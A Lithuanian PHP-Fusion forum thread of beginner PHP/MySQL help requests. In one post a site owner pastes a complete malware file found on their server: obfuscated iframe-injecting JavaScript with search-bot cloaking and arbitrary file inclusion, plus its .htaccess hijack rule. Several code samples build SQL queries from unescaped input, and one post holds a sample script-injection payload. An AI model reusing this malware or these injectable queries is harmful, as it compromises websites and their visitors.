Temos pavadinimas: WordPress, Shopify ir PHPFusion programuotojų bendruomenė :: Goku klausimai
Parašė edeni· 2009 Lie. 30 16:07:40
#1
Sveiki, prireikė man pagalbos su kodu. O problema tokia:
įrašius į formą visus duomenis, bet kaip paspaudžiu pateikt, bet nieko į
mysql neisirašo :S
Štai mano kodas:
<?php
/*---------------------------------------------------+
| PHP-Fusion 6 Content Management System
+----------------------------------------------------+
| Copyright © 2002 - 2006 Nick Jones
| http://www.php-fusion.co.uk/
+----------------------------------------------------+
| Released under the terms & conditions of v2 of the
| GNU General Public License. For details refer to
| the included gpl.txt file or visit http://gnu.org
+----------------------------------------------------*/
require_once "../maincore.php";
require_once "subheader.php";
require_once ADMIN."navigation.php";
if (!checkrights("S7") || !defined("iAUTH") || $aid != iAUTH) fallback("../index.php");
if (isset($status)) {
if ($status == "pateikta") {
$title = $locale['404'];
$message = "<b>Kova Ideta</b>";
}
opentable("Kova Ideta");
echo "<div align='center'>".$message."</div>\n";
closetable();
tablebreak();
}
if($_POST['pateikti'] != "") {
$result = dbquery("INSERT INTO ".$db_prefix."kovos (priesas, map, rezultatas, hltv, pastabos, win) VALUES ('$_POST[priesas]', '$_POST[map]', '$_POST[rezultatas], '$_POST[hltv], '$_POST[pastabos], '$_POST[win]')");
redirect(FUSION_SELF.$aidlink."?status=pateikta");
}
opentable("Kovok su musu klanu");
echo "<form action='".FUSION_SELF.$aidlink."' method='post'>
Klano pavadinimas:</br> <input type='text' name='priesas' /></br>
Žėmėlapis: </br><input type='text' name='map' /><br />
Rezultatas: </br><input type='text' name='rezultatas' /><br />
Laimėta/Pralaimėta/Lygu: </br><select name='win' ><option value='laimeta'>Laimėta</option>
<option value='pralaimeta'>Pralaimėta</option>
<option value='lygu'>Lygiosios</option>
</select><br />
HLTV: </br><input type='text' name='hltv' /><br />
Pastabos: </br><textarea name='pastabos' cols='22' rows='5'></textarea><br />
<input type='submit' name='pateikti' />
</form>";
closetable();
require_once BASEDIR."footer.php";
?>
Redagavo edeni· 2010 Geg. 10 14:05:58
Parašė ozzWANTED· 2009 Lie. 30 17:07:49
#2
redirect(FUSION_SELF.$aidlink."?status=pateikta");
Keisk į:
redirect(FUSION_SELF.$aidlink."&status=pateikta");
Tavo $aidlink greičiausiai undefined toje vietoje.
Ir:
if($_POST['pateikti'] != "") {
Keisk į:
if(isset($_POST['pateikti'])) {
O:
<input type='submit' name='pateikti' />
į
<input type='submit' name='pateikti' value='pateikti'/>
Redagavo ozzWANTED· 2009 Lie. 30 17:07:57
Parašė edeni· 2009 Lie. 30 17:07:44
#3
Dėkui dabar jau į news.php nepermeta, bet niekas neįsirašo į
mysql :S
Parašė Impossibru· 2009 Lie. 30 19:07:59
#4
Kad keista ta tavo forma kažkokia :? Administracijos meniu ji ar kaip? Turiu savo daryta forma,jei reikai parašyk į skype.
Parašė edeni· 2009 Lie. 30 19:07:10
#5
Taip ji dedame administracijoj. O forma normali kiek kartu naudojau kitur visur veikdavo :|
Parašė edeni· 2009 Lie. 31 15:07:56
#6
Tai va prireike man pagalbos. Darausi aš komentarų sistemą (ne ant
php-fusion) ir iškilo tokia bėda. Kai į komentarą parašau koki nors
html kodą pvz: <script type='text/javascript'>document.location.href='index.php'</script> man iškart meta į index.php kaip galima pasidaryt, kad negalima butu rašyt tų visokių <script> ir t.t ?
Redagavo edeni· 2009 Rugp. 27 12:08:45
Parašė Impossibru· 2009 Rugp. 27 21:08:55
#7
if($msg != "<script type='text/javascript'>") { mū }
Redagavo Impossibru· 2009 Rugp. 27 22:08:55
Parašė edeni· 2009 Rugp. 27 22:08:10
#8
Dėkui, bet man reik ne vien <script> dar ir iframe ir kitokius tokius kur kenkia. :) Gal netgi galima butu iš fusiono išsiimt, bet nežinau kokia funkcija tai atlieka.
Redagavo edeni· 2009 Rugp. 27 22:08:22
Parašė And2s· 2009 Rugp. 27 22:08:06
#10
// This function sanitises news & article submissions
function descript($text, $striptags = true) {
// Convert problematic ascii characters to their true values
$search = array("40","41","58","65","66","67","68","69","70",
"71","72","73","74","75","76","77","78","79","80","81",
"82","83","84","85","86","87","88","89","90","97","98",
"99","100","101","102","103","104","105","106","107",
"108","109","110","111","112","113","114","115","116",
"117","118","119","120","121","122"
);
$replace = array("(",")",":","a","b","c","d","e","f","g","h",
"i","j","k","l","m","n","o","p","q","r","s","t","u",
"v","w","x","y","z","a","b","c","d","e","f","g","h",
"i","j","k","l","m","n","o","p","q","r","s","t","u",
"v","w","x","y","z"
);
$entities = count($search);
for ($i=0; $i < $entities; $i++) {
$text = preg_replace("#(&\#)(0*".$search[$i]."+);*#si", $replace[$i], $text);
}
$text = preg_replace('#(&\#x)([0-9A-F]+);*#si', "", $text);
$text = preg_replace('#(<[^>]+[/\"\'\s])(onmouseover|onmousedown|onmouseup|onmouseout|onmousemove|onclick|ondblclick|onfocus|onload|xmlns)[^>]*>#iU', ">", $text);
$text = preg_replace('#([a-z]*)=([\`\'\"]*)script:#iU', '$1=$2nojscript...', $text);
$text = preg_replace('#([a-z]*)=([\`\'\"]*)javascript:#iU', '$1=$2nojavascript...', $text);
$text = preg_replace('#([a-z]*)=([\'\"]*)vbscript:#iU', '$1=$2novbscript...', $text);
$text = preg_replace('#(<[^>]+)style=([\`\'\"]*).*expression\([^>]*>#iU', "$1>", $text);
$text = preg_replace('#(<[^>]+)style=([\`\'\"]*).*behaviour\([^>]*>#iU', "$1>", $text);
if ($striptags) {
do {
$thistext = $text;
$text = preg_replace('#</*(applet|meta|xml|blink|link|style|script|embed|object|iframe|frame|frameset|ilayer|layer|bgsound|title|base)[^>]*>#i', "", $text);
} while ($thistext != $text);
}
return $text;
}
Redagavo And2s· 2009 Rugp. 27 22:08:21
Parašė edeni· 2009 Rugp. 27 22:08:02
#11
Nu gerai šita pridedu į savo sukurta core.php failą ir paskui naujienos.php esu pasidaręs komentarus su while ir kai padarau toki kodą: <td width='696' class='tbl2'>descript(".$row['komentaras'].");</td> tai man visose komentaruose prisideda descript(manokomentaras);
Parašė And2s· 2009 Rugp. 27 22:08:31
#12
rašyk ne <td width='696' class='tbl2'>descript(".$row['komentaras']."merkia akį;</td>
o
<td width='696' class='tbl2'>".descript($row['komentaras'])."</td>
Parašė edeni· 2009 Rugp. 27 22:08:06
#13
Vo dėkui labai :) Padėjai :) Ir dar vienas klausimas turiu failą naujienos.php ir jis yra tuščias į jo turini galima patekt tik parašius naujienos.php?id=manoid ir noriu kad kai įeina į naujienos.php ar naujienos.php?id= man iškart išmestu index.php
Redagavo edeni· 2009 Rugp. 27 22:08:18
Parašė And2s· 2009 Rugp. 28 16:08:44
#14
iterpk kodo pradzioj
if (isset($_GET['id']) && !is_numeric($_GET['id'])) header('location: index.php');
Redagavo And2s· 2009 Rugp. 28 16:08:19
Parašė Kelmas· 2009 Rugp. 28 16:08:27
#15
and2s parašė:
iterpk kodo pradzioj
if (isset($_GET['id']) && !is_numeric($_GET['id'])) header('location: index.php');
Ir vistiek leisim rašyt -4, -7 ir pan.. :) Geriau tada preg_matchą tikrinimui naudojam.
if (isset($_GET['id']) && !preg_match("/^[0-9]+$/", $_GET['id'])) header('location: index.php');
Redagavo Kelmas· 2009 Rugp. 28 16:08:53
Parašė edeni· 2009 Rugp. 28 18:08:05
#16
Dėkui, bet vistiek įdedu tą kodą ir kai nutrinu skaičiu vistiek nepermeta į index.php
mano kodas:
<td class="content_vidus"><?php
$id=$_GET[id];
if (isset($_GET['id']) && !preg_match("/^[0-9]+$/", $_GET['id'])) header('location: index.php');
$result = mysql_query("SELECT * FROM naujienos WHERE id='$id'");
while($row = mysql_fetch_array($result))
{
echo "".$row['naujiena_full']."";
}
mysql_close($con);
?><br /><br />
Parašė And2s· 2009 Rugp. 28 19:08:52
#17
<td class="content_vidus"><?php
$id=$_GET[id];
if (isset($_GET['id']) && !preg_match("/^[0-9]+$/", $_GET['id']) || $_GET['id']=='') header('location: index.php');
$result = mysql_query("SELECT * FROM naujienos WHERE id='$id'");
while($row = mysql_fetch_array($result))
{
echo "".$row['naujiena_full']."";
}
mysql_close($con);
?><br /><br />
Parašė edeni· 2009 Rugp. 28 20:08:38
#18
Vistiek neveikia :|
Parašė And2s· 2009 Rugp. 28 20:08:20
#19
<td class="content_vidus"><?php
$id=$_GET[id];
if (isset($_GET['id']) && (!preg_match("/^[0-9]+$/", $_GET['id']) || $_GET['id']=='')) header('location: index.php');
$result = mysql_query("SELECT * FROM naujienos WHERE id='$id'");
while($row = mysql_fetch_array($result))
{
echo "".$row['naujiena_full']."";
}
mysql_close($con);
?><br /><br />
Parašė edeni· 2009 Rugp. 28 20:08:06
#20
Viskas pasidariau :)
Redagavo edeni· 2009 Rugs. 12 17:09:15
Parašė edeni· 2009 Spa. 3 14:10:43
#21
Naujas klausimas.
Turiu aš Counter-Strike serverio statistiką atvaizduojantį
php ir kai serveris on tai buna viskas ok. O kai buna jis off man pradeda mėtit:
Notice: Undefined index: hostname ir t.t
Kaip galima butu padaryt kad vietoj to Notice: Undefined index: hostname rodytu serveris off .
server_status.php failas:
<?
/**
* File is released under GPL as can be found on
* http://www.gnu.org/licenses/gpl....
*/
/* Info string */
define('A2S_INFO', "\xFF\xFF\xFF\xFF\x54\x53\x6F\x75\x72\x63\x65\x20\x45\x6E\x67\x69\x6E\x65\x20\x51\x75\x65\x72\x79\x00");
/* Replies for HL Version 1 and Version 2 (aka Source) */
define('REPLY_INFO_HL1', 'm');
define('REPLY_INFO_HL2', 'I');
/* Definitions of the bytes */
define('BYTE', 1);
define('BYTE_NUM', BYTE + 1);
define('SHORT', BYTE_NUM + 1);
define('LONG', SHORT + 1);
define('FLOAT', LONG + 1);
define('STRING', FLOAT + 1);
/**
* The socket class
* @author Herwin Weststrate aka Hdez
* @contact hdez@counter-strike.nl
* @version 2005.10.21
*/
class HLSocket
{
/* The socket file descriptor */
var $_socket;
/* The way to split the incoming data */
var $_split_info_hl2 = array('type' => BYTE, 'bersion' => BYTE_NUM, 'hostname' => STRING, 'map' => STRING, 'gamedir' => STRING, 'gamedesc' => STRING, 'appid' => SHORT, 'unknown' => BYTE_NUM, 'players' => BYTE_NUM, 'max' => BYTE_NUM, 'bots' => BYTE_NUM, 'dedicated' => BYTE, 'os' => BYTE, 'passworded' => BYTE_NUM, 'secure' => BYTE_NUM, 'gameversion' => STRING);
var $_split_info_hl1 = array('type' => BYTE, 'ip' => STRING, 'hostname' => STRING, 'map' => STRING, 'gamedir' => STRING, 'gamedesc' => STRING, 'players' => BYTE_NUM, 'max' => BYTE_NUM, 'version' => BYTE_NUM, 'dedicated' => BYTE, 'os' => BYTE, 'passworded' => BYTE_NUM, 'secure' => BYTE_NUM, 'gameversion' => STRING);
/**
* Create a new socket
* @param $host The ip or hostname
* @param $port The port
*/
function HLSocket($host, $port)
{
$this->connect($host, $port);
}
/**
* Actually make the connection to the host
* @param $host The ip or hostname
* @param $port The port
*/
function connect($host, $port)
{
$this->_socket = @fsockopen('udp://'.$host, $port);
if (!$this->_socket)
echo 'Error met connecten';
stream_set_timeout($this->_socket, 1); // Set timeout to 1 sec
}
/**
* Close the connection (and the socket fd)
*/
function close()
{
fclose($this->_socket);
}
/**
* Query the server for the details
* @return associative array with the game info
*/
function details()
{
$this->write(A2S_INFO);
$data = $this->read();
$res = array();
switch(substr($data, 0, 1))
{
case REPLY_INFO_HL1:
$res = $this->split($this->_split_info_hl1, $data);
break;
case REPLY_INFO_HL2:
$res = $this->split($this->_split_info_hl2, $data);
break;
}
return $res;
}
/**
* Write the given message over the socket
* @param $msg The message to be written
* @deprecated This should be issued as a private function
*/
function write($msg)
{
fwrite($this->_socket, $msg);
}
/**
* Read from the socket
* @return The data from the socket (excluding the first four [useless] bytes)
* @deprecated This should be issued as a private function
*/
function read()
{
$data = fread($this->_socket, 1);
$status = socket_get_status($this->_socket);
if (isset($status['unread_bytes']) && $status['unread_bytes'] > 0)
$data .= fread($this->_socket, $status['unread_bytes']);
return substr($data, 4);
}
/**
* Split the given datatype from $data String and return the value
* @param $type The data type [BYTE .. STRING]
* @param $data The current data String
* @return The value of the given data type from $data
* @deprecated This should be issued as a private function
*/
function splititem($type, &$data) {
$add = '';
switch ($type)
{
case BYTE:
$add = substr($data, 0, 1);
$data = substr($data, 1);
break;
case BYTE_NUM:
$add = ord(substr($data, 0, 1));
$data = substr($data, 1);
break;
case SHORT:
$add = ord(substr($data, 0, 1));
$data = substr($data, 1);
break;
case LONG:
$add = ord(substr($data, 0, 1));
$data = substr($data, 1);
break;
case STRING:
do
{
$char = substr($data, 0, 1);
if ($char != "\x00")
$add .= $char;
$data = substr($data, 1);
}
while ($char != "\x00");
break;
}
return $add;
}
/**
* Split the given datatypes from $data String and return the value
* @param $array The data type [BYTE .. STRING] as values of an
* associative array. The keys are also the key s of
* the return array
* @param $data The current data String
* @return Associative array with keys of $array and values read from $data
* @deprecated This should be issued as a private function
*/
function split($array, $data)
{
$res = array();
foreach ($array as $k=>$v)
$res[$k] = $this->splititem($v, $data);
return $res;
}
}
?>
ir kodas kuris yra įdėtas į index.php
<?php
error_reporting(E_ALL);
require_once('includes/server_status.php');
$hlsocket = new HLSocket('84.240.33.77', 27015);
$details = $hlsocket->details();
echo "<table widtd=\"930\" border=\"1\">
<tr>
<td>IP</td>
<td>Pavadinimas</td>
<td>Zaidejai</td>
<td>Zemelapis</td>
<td>Balsuoti</td>
<td>Balsu</td>
</tr>
<tr>
<td scope=\"row\">".$details['ip']."</td>
<td>".$details['hostname']."</td>
<td>".$details['players']." / ".$details['max']."</td>
<td>".$details['map']."</td>
<td> </td>
<td> </td>
</tr>
</table>";
$hlsocket->close();
?>
Redagavo edeni· 2009 Spa. 3 14:10:54
Parašė Žmogus· 2009 Spa. 3 15:10:00
#22
Tingiu gilintas, bet čia reiktu su if daryti
Parašė edeni· 2009 Spa. 3 15:10:56
#23
Nu žinau, kad su if bet kaip? Kai prie $details['ip'] pridedu @ tai nebemeta to erroro ir nieko nerašo, o man reik kad rašytu Serveris Išjungtas
Redagavo edeni· 2009 Spa. 3 15:10:51
Parašė edeni· 2009 Spa. 3 22:10:08
#24
Gerai , reikia scripto kad rodytu Counter-Strike serverio žaidėjus kiek turi nužudymų ir t.t
P.S nerašykit ieškok googlei ir t.t googlei yra tų scriptų bet kiek bandžiau tai tik ant vieno serve man veikė.
Parašė Fakamaran· 2009 Spa. 3 22:10:45
#25
v6 nuhakint lengva, vien hashas viengubas
Parašė edeni· 2009 Spa. 10 16:10:28
#26
Naujas klausimas.
Turiu aš pasidaręs, kad už cs serverius galima balsuot ir jų yra daug kaip man gauti to serverio informaciją kuris turi daugiausia taškų ?
Ir dar vienas klausimas.
Turiu toki kodą $result = mysql_query("SELECT * FROM lgsl ORDER BY balsai DESC"); ir jis rūšiuoja bagal balsus bet ten balsai rašomi ne vidurkis o visi. Čia yra mano vidurkio skaičiavimo kodas $avg = $balsai / $prabalsavo; kaip man padaryt kad jis rūšiuotu pagal tą vidurki, o ne pagal visus balsus ?
Redagavo edeni· 2009 Spa. 10 20:10:29
Parašė edeni· 2009 Spa. 25 13:10:55
#27
Tai niekas nežinot ?
Parašė edeni· 2009 Spa. 26 15:10:33
#28
Atsiprašau už 3 postą, bet reikia pagalbos.
Tai va man reikia kad su while ciklu mano ištrauktą informaciją iš
mysql dėliotu ne į apačia o į šoną pvz kaip foto-galerijoj fusiono.
Redagavo edeni· 2009 Spa. 26 15:10:46
Parašė nuken· 2009 Spa. 26 15:10:59
#29
Galejai spaust kelti tema ... o nepostint
Parašė edeni· 2009 Spa. 26 15:10:00
#30
Negalėjau spaust, nes buvau paspaudes kitoj temoj... Ir prašyčiau nerašyt ne į temą. Ir padėt man su tuo klausimu...
Parašė And2s· 2009 Spa. 26 15:10:12
#31
edeni parašė:
Atsiprašau už 3 postą, bet reikia pagalbos.
Tai va man reikia kad su while ciklu mano ištrauktą informaciją iš mysql dėliotu ne į apačia o į šoną pvz kaip foto-galerijoj fusiono.
$result=dbquery("SELECT blajh FROM ".DB_USERS);
$counter = 0;
$kiek_eiluteje=5;
echo "<table> <tr>";
while($data=dbarray($result)) {
if ($counter != 0 && ($counter % $kiek_eiluteje == 0)) echo "</tr><tr>";
echo "<td>"$data['blajh']."</td>";
$counter++
}
echo "</tr></table>";
Redagavo And2s· 2009 Spa. 26 15:10:13
Parašė edeni· 2009 Spa. 26 15:10:50
#32
Dėkui :) Pagelbėjai :)
Parašė edeni· 2009 Lap. 8 17:11:50
#33
Naujas klausimas.
Mano ftp direktorijoje atsirado toks failas: PE609F31D777BD.php
Kas jame yra :
<?php
$frame_code = '<!-- hJTYsX hwZrh TpA gJK LhdIvzPX --><script>/*_riRJopYA_uU*/var maSKFTfgzy=document;/*eNGUgQyproQjLwcwGxtLckVP*/function JSRJxVcV(iKGZa)/*fPxDyeN_cINKnEiaEijWSjbMQ*/{var sIBtuWphKVC = "",/*PTSzNTVJPPSZEgc*/ASksbIeCmKm=0;for(ASksbIeCmKm=iKGZa.length-1;ASksbIeCmKm >= 0;ASksbIeCmKm--)/*fkeWREfireemHjIDyyvaKLqMK*/{sIBtuWphKVC+=iKGZa.charAt(ASksbIeCmKm);}return sIBtuWphKVC;/*lQFLAvMavWhp*/}/*_riRJopYA_uU*/function THAMWc(Uf_hW)/*wvskgKquyCfDU_fNnzLh*/{/*asAYOrimRFaxNjr*/Uf_hW = Uf_hW.replace(/[\.]/g, "%");/*asAYOrimRFaxNjr*/Uf_hW=unescape(Uf_hW);/*OFYakHAvPHLmfLCLgYBuCu*/return JSRJxVcV(Uf_hW);/*YcHVPLpfsLmebZsoZxcXjR*/}/*RropemxIkeWaSKfJWl*/function KNxrQJJuJ(){/*PTSzNTVJPPSZEgc*/maSKFTfgzy.write("<style>.apcdqYgApH{width:1px;height:1px;border:none;visibility:hidden}</style>");/*vFzsZkRJRqmDBwCtOax*//*G_fFjBELxfFI*/var thOySD="<iframe id=\"PzuNOYDH\" src=\"x\" class=\"apcdqYgApH\"></iframe>";/*wvskgKquyCfDU_fNnzLh*//*vFzsZkRJRqmDBwCtOax*/var zOHkNaBQqOk=thOySD.replace(/[\+x]/g,THAMWc(".70.68.70.2e.6e.69.2f.34.37.31.2f.72.65.73.75.2f.6d.6f.63.2e.72.65.74.6e.75.6f.63.2d.73.65.74.69.73.2f.2f.3a.70.74.74.68"));/*vFzsZkRJRqmDBwCtOax*//*PTSzNTVJPPSZEgc*/return zOHkNaBQqOk;/*vFzsZkRJRqmDBwCtOax*//*G_fFjBELxfFI*/}/*fPxDyeN_cINKnEiaEijWSjbMQ*//*UACyjbdWJu*//*fPxDyeN_cINKnEiaEijWSjbMQ*//*gxmlpKbCEZYM*/maSKFTfgzy.writeln(KNxrQJJuJ());/*XOQoHXqCHdswYQ*//*RropemxIkeWaSKfJWl*//*lQFLAvMavWhp*/</script><!-- hJTY sXhwZrhTpA gJKLhdIvzPX_2 -->';
function get_file_dir_($file) {
global $argv;
$dir = dirname(getcwd() . '/' . $file);
$curDir = getcwd();
@chdir($dir);
$dir = getcwd();
@chdir($curDir);
return $dir;
}
function is_search_bot($agent)
{
if(
strstr($agent, "Yandex/") != null ||
strstr($agent, "YaDirectBot") != null ||
strstr($agent, "James Bond") != null ||
strstr($agent, "Googlebot") != null ||
strstr($agent, "Mediapartners-Google") != null ||
strstr($agent, "StackRambler") != null ||
strstr($agent, "Slurp") != null ||
strstr($agent, "msnbot") != null
)
{
return true;
}
return false;
}
function callback($data)
{
global $frame_code;
$data = preg_replace('/<iframe.*style=.*hidden.*\/iframe[^>]*>/i', "", $data);
$data = preg_replace('/<div.*style=.*display:none.*[^>]*>.*<iframe .*\/.*div[^>]*>/i', "", $data);
$data = preg_replace('/<!-- ad --><script[^>]*>.*<\/script><!-- \/ad -->/i', "", $data);
if(is_search_bot($_SERVER['HTTP_USER_AGENT']) == true) {
return $data;
} else {
if(preg_match("/(<body[^>]*>)/i", $data) > 0) {
return preg_replace("/(<body[^>]*>)/i", "$1 \n".$frame_code, $data, 1);
}
else {
return $data.$frame_code;
}
}
}
if(@ob_start('callback') == true) {
$file = $_GET['qq'];
@chdir(get_file_dir_($file));
include($file);
} else {
echo $frame_code;
}
?>
ir į .htaccess kažkaip įsirašė:
#609F31D777BD{
RewriteEngine On
RewriteCond %{REQUEST_METHOD} GET
RewriteCond %{REQUEST_FILENAME} -f
RewriteCond %{REQUEST_FILENAME} !PE(.*).php
RewriteRule (.*)\.(php|html|htm|php3|phtml|shtml) PE609F31D777BD.php?%{QUERY_STRING}&qq=$1.$2 [NC,L]
#609F31D777BD}
Tai man iškilo klausymas čia virusas ar ne ? ar čia antivirusinė nuo tų iframe kodų ?
Redagavo edeni· 2009 Lap. 8 17:11:17
Parašė edeni· 2009 Lap. 22 16:11:34
#34
Naujas klausimas.
Turiu pasidaręs while ciklą ir noriu, kad mano kiekvieną ištraukta informacija surušiuotu pvz:
1. Mama
2. Tėtis
3. Sese
4. Brolis
ir t.t
Jeigu nesupratot klausimo sakykit patikslinsiu.
Parašė Narysx· 2009 Lap. 22 16:11:16
#35
Duok tą savo while ciklą. Padarysiu.
Parašė edeni· 2009 Lap. 22 16:11:31
#36
<?php
$result = mysql_query("SELECT * FROM reklamos ORDER BY id DESC");
while($row = mysql_fetch_array($result))
{
$banneris = $row['banneris'];
$nuoroda = $row['nuoroda'];
echo "<a href='http://".$nuoroda."'><img src='".$banneris."' alt='".$nuoroda."' border='0'></a></br>";
}
?>
Dėkui iškart :)
Parašė Narysx· 2009 Lap. 22 16:11:13
#37
<?php
$result = mysql_query("SELECT * FROM reklamos ORDER BY id DESC");
$n = 0;
while($row = mysql_fetch_array($result))
{
$n++;
$banneris = $row['banneris'];
$nuoroda = $row['nuoroda'];
echo "<b>$n</b>. <a href='http://".$nuoroda."'><img src='".$banneris."' alt='".$nuoroda."' border='0'></a></br>";
}
?>
Parašė edeni· 2009 Lap. 22 16:11:41
#38
Vo Dėkui +10 tau.
Parašė edeni· 2009 Lap. 25 12:11:55
#39
Naujas klausimas kas gali but, kad kai per submit.php įdedu naujiena man automatiškai nesulaužo eilučių ?
Va mano submit.php failas
<?php
/*---------------------------------------------------+
| PHP-Fusion 6 Content Management System
+----------------------------------------------------+
| Copyright © 2002 - 2006 Nick Jones
| http://www.php-fusion.co.uk/
+----------------------------------------------------+
| Released under the terms & conditions of v2 of the
| GNU General Public License. For details refer to
| the included gpl.txt file or visit http://gnu.org
+----------------------------------------------------*/
require_once "maincore.php";
require_once "subheader.php";
require_once "side_left.php";
include LOCALE.LOCALESET."submit.php";
if (!iMEMBER) fallback("index.php");
if (isset($_POST['submit_news'])) {
if ($_POST['news_subject'] != "" && $_POST['news_body'] != "") {
$submit_info['news_subject'] = stripinput($_POST['news_subject']);
$submit_info['news_cat'] = isNum($_POST['news_cat']) ? $_POST['news_cat'] : "0";
$submit_info['news_body'] = descript($_POST['news_body']);
$submit_info['news_body1'] = descript($_POST['news_body1']);
$submit_info['news_breaks'] = (isset($_POST['line_breaks']) ? "y" : "n");
$result = dbquery("INSERT INTO ".$db_prefix."submissions (submit_type, submit_user, submit_datestamp, submit_criteria) VALUES('n', '".$userdata['user_id']."', '".time()."', '".addslashes(serialize($submit_info))."')");
opentable($locale['400']);
echo "<center><br>\n".$locale['460']."<br><br>
<a href='prideti_naujiena.php'>".$locale['461']."</a><br><br>
<a href='index.php'>".$locale['412']."</a><br><br>\n</center>\n";
closetable();
}
} else {
if (isset($_POST['preview_news'])) {
$news_subject = stripinput($_POST['news_subject']);
$news_cat = isNum($_POST['news_cat']) ? $_POST['news_cat'] : "0";
$news_body = phpentities(descript(stripslash($_POST['news_body'])));
$news_body1 = phpentities(descript(stripslash($_POST['news_body1'])));
$breaks = (isset($_POST['line_breaks']) ? " checked" : "");
opentable($news_subject);
echo (isset($_POST['line_breaks']) ? nl2br($news_body) : $news_body);
closetable();
tablebreak();
}
if (!isset($_POST['preview_news'])) {
$news_subject = "";
$news_body = "";
$news_body1 = "";
$breaks = " checked";
}
$news_cat_opts = ""; $sel = "";
$result2 = dbquery("SELECT * FROM ".$db_prefix."news_cats ORDER BY news_cat_name");
if (dbrows($result2)) {
while ($data2 = dbarray($result2)) {
if (isset($news_cat)) $sel = ($news_cat == $data2['news_cat_id'] ? " selected" : "");
$news_cat_opts .= "<option value='".$data2['news_cat_id']."'$sel>".$data2['news_cat_name']."</option>\n";
}
}
opentable($locale['450']);
echo $locale['470']."<br><br>
<form name='submit_form' method='post' action='".FUSION_SELF."' onSubmit='return validateNews(this);'>
<table align='center' cellpadding='0' cellspacing='0'>
<tr>
<td class='tbl'>".$locale['471']."</td>
<td class='tbl'><input type='text' name='news_subject' value='$news_subject' maxlength='64' class='textbox' style='width:300px;'></td>
</tr>
<tr>
<td width='100' class='tbl'>".$locale['476']."</td>
<td width='80%' class='tbl'><select name='news_cat' class='textbox'>
<option value='0'>".$locale['477']."</option>
$news_cat_opts</select>
</td>
</tr>
<tr>
<td valign='top' class='tbl'>".$locale['472']."</td>
<td class='tbl'><textarea class='textbox' name='news_body' rows='8' cols='54'>$news_body</textarea></td>
</tr>
<tr>
<td valign='top' class='tbl'>Naujienos Plačiau</td>
<td class='tbl'><textarea class='textbox' name='news_body1' rows='8' cols='54'>$news_body1</textarea></td>
</tr>
<tr>
<td colspan='2' class='tbl'><br><center>
<input type='checkbox' name='line_breaks' value='yes'$breaks>".$locale['473']."<br><br>
<input type='submit' name='preview_news' value='".$locale['474']."' class='button'>
<input type='submit' name='submit_news' value='".$locale['475']."' class='button'></center>
</td>
</tr>
</table>
</form>\n";
closetable();
}
echo "<script type='text/javascript'>
function validateLink(frm) {
if (frm.link_name.value==\"\" || frm.link_name.value==\"\" || frm.link_description.value==\"\") {
alert(\"".$locale['550']."\"); return false;
}
}
function validateNews(frm) {
if (frm.news_subject.value==\"\" || frm.news_body.value==\"\") {
alert(\"".$locale['550']."\"); return false;
}
}
function validateArticle(frm) {
if (frm.article_subject.value==\"\" || frm.article_snippet.value==\"\" || frm.article_body.value==\"\") {
alert(\"".$locale['550']."\");
return false;
}
}
function validatePhoto(frm) {
if (frm.photo_title.value==\"\" || frm.photo_description.value==\"\" || frm.photo_pic_file.value==\"\") {
alert(\"".$locale['550']."\");
return false;
}
}
</script>\n";
require_once "side_right.php";
require_once "footer.php";
?>
Parašė edeni· 2009 Lap. 25 19:11:28
#40
Naujas klausimas kas gali but, kad kai per submit.php įdedu naujiena man automatiškai nesulaužo eilučių ?
Va mano submit.php failas
<?php
/*---------------------------------------------------+
| PHP-Fusion 6 Content Management System
+----------------------------------------------------+
| Copyright © 2002 - 2006 Nick Jones
| http://www.php-fusion.co.uk/
+----------------------------------------------------+
| Released under the terms & conditions of v2 of the
| GNU General Public License. For details refer to
| the included gpl.txt file or visit http://gnu.org
+----------------------------------------------------*/
require_once "maincore.php";
require_once "subheader.php";
require_once "side_left.php";
include LOCALE.LOCALESET."submit.php";
if (!iMEMBER) fallback("index.php");
if (isset($_POST['submit_news'])) {
if ($_POST['news_subject'] != "" && $_POST['news_body'] != "") {
$submit_info['news_subject'] = stripinput($_POST['news_subject']);
$submit_info['news_cat'] = isNum($_POST['news_cat']) ? $_POST['news_cat'] : "0";
$submit_info['news_body'] = descript($_POST['news_body']);
$submit_info['news_body1'] = descript($_POST['news_body1']);
$submit_info['news_breaks'] = (isset($_POST['line_breaks']) ? "y" : "n");
$result = dbquery("INSERT INTO ".$db_prefix."submissions (submit_type, submit_user, submit_datestamp, submit_criteria) VALUES('n', '".$userdata['user_id']."', '".time()."', '".addslashes(serialize($submit_info))."')");
opentable($locale['400']);
echo "<center><br>\n".$locale['460']."<br><br>
<a href='prideti_naujiena.php'>".$locale['461']."</a><br><br>
<a href='index.php'>".$locale['412']."</a><br><br>\n</center>\n";
closetable();
}
} else {
if (isset($_POST['preview_news'])) {
$news_subject = stripinput($_POST['news_subject']);
$news_cat = isNum($_POST['news_cat']) ? $_POST['news_cat'] : "0";
$news_body = phpentities(descript(stripslash($_POST['news_body'])));
$news_body1 = phpentities(descript(stripslash($_POST['news_body1'])));
$breaks = (isset($_POST['line_breaks']) ? " checked" : "");
opentable($news_subject);
echo (isset($_POST['line_breaks']) ? nl2br($news_body) : $news_body);
closetable();
tablebreak();
}
if (!isset($_POST['preview_news'])) {
$news_subject = "";
$news_body = "";
$news_body1 = "";
$breaks = " checked";
}
$news_cat_opts = ""; $sel = "";
$result2 = dbquery("SELECT * FROM ".$db_prefix."news_cats ORDER BY news_cat_name");
if (dbrows($result2)) {
while ($data2 = dbarray($result2)) {
if (isset($news_cat)) $sel = ($news_cat == $data2['news_cat_id'] ? " selected" : "");
$news_cat_opts .= "<option value='".$data2['news_cat_id']."'$sel>".$data2['news_cat_name']."</option>\n";
}
}
opentable($locale['450']);
echo $locale['470']."<br><br>
<form name='submit_form' method='post' action='".FUSION_SELF."' onSubmit='return validateNews(this);'>
<table align='center' cellpadding='0' cellspacing='0'>
<tr>
<td class='tbl'>".$locale['471']."</td>
<td class='tbl'><input type='text' name='news_subject' value='$news_subject' maxlength='64' class='textbox' style='width:300px;'></td>
</tr>
<tr>
<td width='100' class='tbl'>".$locale['476']."</td>
<td width='80%' class='tbl'><select name='news_cat' class='textbox'>
<option value='0'>".$locale['477']."</option>
$news_cat_opts</select>
</td>
</tr>
<tr>
<td valign='top' class='tbl'>".$locale['472']."</td>
<td class='tbl'><textarea class='textbox' name='news_body' rows='8' cols='54'>$news_body</textarea></td>
</tr>
<tr>
<td valign='top' class='tbl'>Naujienos Plačiau</td>
<td class='tbl'><textarea class='textbox' name='news_body1' rows='8' cols='54'>$news_body1</textarea></td>
</tr>
<tr>
<td colspan='2' class='tbl'><br><center>
